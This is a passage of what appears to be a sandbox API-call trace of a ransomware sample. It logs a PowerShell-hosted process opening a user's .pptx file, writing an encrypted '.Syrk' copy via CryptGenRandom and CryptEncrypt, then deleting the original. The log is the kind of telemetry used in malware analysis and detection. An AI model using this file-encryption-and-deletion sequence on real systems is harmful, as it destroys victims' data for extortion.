lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.414] EtwEventActivityIdControl () returned 0x0 [0212.414] EtwEventActivityIdControl () returned 0x0 [0212.414] EtwEventActivityIdControl () returned 0x0 [0212.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0212.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", lpFilePart=0x0) returned 0x5a [0212.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0212.420] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0212.420] GetFileType (hFile=0x42c) returned 0x1 [0212.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0212.420] GetFileType (hFile=0x42c) returned 0x1 [0212.420] EtwEventActivityIdControl () returned 0x0 [0212.421] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.421] EtwEventActivityIdControl () returned 0x0 [0212.421] EtwEventActivityIdControl () returned 0x0 [0212.422] EtwEventActivityIdControl () returned 0x0 [0212.424] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x60 [0212.425] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk", nBufferLength=0x60, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk", lpFilePart=0x0) returned 0x5f [0212.425] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0212.426] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0212.430] GetFileType (hFile=0x44c) returned 0x1 [0212.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0212.430] GetFileType (hFile=0x44c) returned 0x1 [0212.430] EtwEventActivityIdControl () returned 0x0 [0212.430] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x23898c8 | out: pbBuffer=0x23898c8) returned 1 [0212.433] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0212.434] CryptDuplicateKey (in: hKey=0x5c68c00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c68fc0) returned 1 [0212.434] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0212.434] CryptSetKeyParam (hKey=0x5c68fc0, dwParam=0x4, pbData=0x238ac00*=0x1, dwFlags=0x0) returned 1 [0212.434] CryptSetKeyParam (hKey=0x5c68fc0, dwParam=0x1, pbData=0x238abcc, dwFlags=0x0) returned 1 [0212.435] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.435] EtwEventActivityIdControl () returned 0x0 [0212.435] EtwEventActivityIdControl () returned 0x0 [0212.435] EtwEventActivityIdControl () returned 0x0 [0212.437] EtwEventActivityIdControl () returned 0x0 [0212.438] ReadFile (in: hFile=0x42c, lpBuffer=0x238d83c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x238d83c*, lpNumberOfBytesRead=0x5a2e6fc*=0x7436, lpOverlapped=0x0) returned 1 [0212.717] CryptEncrypt (in: hKey=0x5c68fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a1854*, pdwDataLen=0x5a2e6f0*=0x7430, dwBufLen=0x7430 | out: pbData=0x23a1854*, pdwDataLen=0x5a2e6f0*=0x7430) returned 1 [0212.717] WriteFile (in: hFile=0x44c, lpBuffer=0x23899b0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x23899b0*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0213.576] WriteFile (in: hFile=0x44c, lpBuffer=0x23a2840*, nNumberOfBytesToWrite=0x6444, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x23a2840*, lpNumberOfBytesWritten=0x5a2e6d4*=0x6444, lpOverlapped=0x0) returned 1 [0213.577] ReadFile (in: hFile=0x42c, lpBuffer=0x238d83c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x238d83c*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0213.580] CryptEncrypt (in: hKey=0x5c68fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a8c90*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x23a8c90*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0213.581] CryptEncrypt (in: hKey=0x5c68fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23a8cac*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x23a8cac*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0213.581] WriteFile (in: hFile=0x44c, lpBuffer=0x23899b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x23899b0*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0213.581] CloseHandle (hObject=0x44c) returned 1 [0213.584] CloseHandle (hObject=0x42c) returned 1 [0213.586] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.589] EtwEventActivityIdControl () returned 0x0 [0213.589] EtwEventActivityIdControl () returned 0x0 [0213.589] EtwEventActivityIdControl () returned 0x0 [0213.606] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx")) returned 0x20 [0213.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0213.609] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", lpFilePart=0x0) returned 0x5a [0213.610] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0213.610] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0213.610] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0213.611] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0213.611] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0213.611] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0213.611] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0213.611] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0213.611] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0213.611] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0213.611] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0213.611] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0213.612] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0213.612] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0213.612] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0213.612] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0213.612] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0213.613] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0213.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0213.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0213.613] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0213.613] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0213.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0213.613] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0213.613] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0213.614] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb")) returned 0x10 [0213.614] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0213.614] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", nBufferLength=0x41, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb", lpFilePart=0x0) returned 0x40 [0213.614] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx")) returned 0x20 [0213.614] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0213.614] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", lpFilePart=0x0) returned 0x5a [0213.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0213.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", lpFilePart=0x0) returned 0x5a [0213.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0213.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0213.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", lpFilePart=0x0) returned 0x5a [0213.698] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0213.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0213.698] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0213.698] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0213.698] CoTaskMemFree (pv=0x5c7e518) [0213.702] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx")) returned 0x20 [0213.702] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0213.702] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", lpFilePart=0x0) returned 0x5a [0213.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0213.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx"), fInfoLevelId=0x0, lpFileInformation=0x23bb444 | out: lpFileInformation=0x23bb444*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a4540, ftCreationTime.dwHighDateTime=0x1d99b80, ftLastAccessTime.dwLowDateTime=0xba390b70, ftLastAccessTime.dwHighDateTime=0x1d99d77, ftLastWriteTime.dwLowDateTime=0xba390b70, ftLastWriteTime.dwHighDateTime=0x1d99d77, nFileSizeHigh=0x0, nFileSizeLow=0x7436)) returned 1 [0213.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0213.703] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx")) returned 1 [0213.706] EtwEventActivityIdControl () returned 0x0 [0213.707] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.707] EtwEventActivityIdControl () returned 0x0 [0213.707] EtwEventActivityIdControl () returned 0x0 [0213.707] EtwEventActivityIdControl () returned 0x0 [0213.716] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx.syrk")) returned 0x20 [0213.716] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx.syrk")) returned 0x20 [0213.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x60 [0213.717] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk", nBufferLength=0x60, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk", lpFilePart=0x0) returned 0x5f [0213.718] EtwEventActivityIdControl () returned 0x0 [0213.718] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.719] EtwEventActivityIdControl () returned 0x0 [0213.719] EtwEventActivityIdControl () returned 0x0 [0213.719] EtwEventActivityIdControl () returned 0x0 [0213.727] EtwEventActivityIdControl () returned 0x0 [0213.727] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.728] EtwEventActivityIdControl () returned 0x0 [0213.728] EtwEventActivityIdControl () returned 0x0 [0213.728] EtwEventActivityIdControl () returned 0x0 [0213.768] EtwEventActivityIdControl () returned 0x0 [0213.768] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.768] EtwEventActivityIdControl () returned 0x0 [0213.768] EtwEventActivityIdControl () returned 0x0 [0213.768] EtwEventActivityIdControl () returned 0x0 [0213.772] EtwEventActivityIdControl () returned 0x0 [0213.772] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.773] EtwEventActivityIdControl () returned 0x0 [0213.773] EtwEventActivityIdControl () returned 0x0 [0213.773] EtwEventActivityIdControl () returned 0x0 [0213.777] EtwEventActivityIdControl () returned 0x0 [0213.778] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.779] EtwEventActivityIdControl () returned 0x0 [0213.779] EtwEventActivityIdControl () returned 0x0 [0213.779] EtwEventActivityIdControl () returned 0x0 [0213.783] EtwEventActivityIdControl () returned 0x0 [0213.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0213.789] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23cb150 | out: lpFileInformation=0x23cb150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf43580, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xfaf43580, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xfb965180, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x7454)) returned 1 [0213.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0213.793] GetConsoleOutputCP () returned 0x1b5 [0213.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0213.793] GetConsoleOutputCP () returned 0x1b5 [0213.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0213.793] GetConsoleOutputCP () returned 0x1b5 [0213.793] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0213.793] GetConsoleOutputCP () returned 0x1b5 [0213.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0213.794] GetConsoleOutputCP () returned 0x1b5 [0213.794] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0213.794] GetConsoleOutputCP () returned 0x1b5 [0213.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0213.800] GetConsoleOutputCP () returned 0x1b5 [0213.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0213.800] GetConsoleOutputCP () returned 0x1b5 [0213.800] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0213.800] GetConsoleOutputCP () returned 0x1b5 [0213.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0213.801] GetConsoleOutputCP () returned 0x1b5 [0213.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, 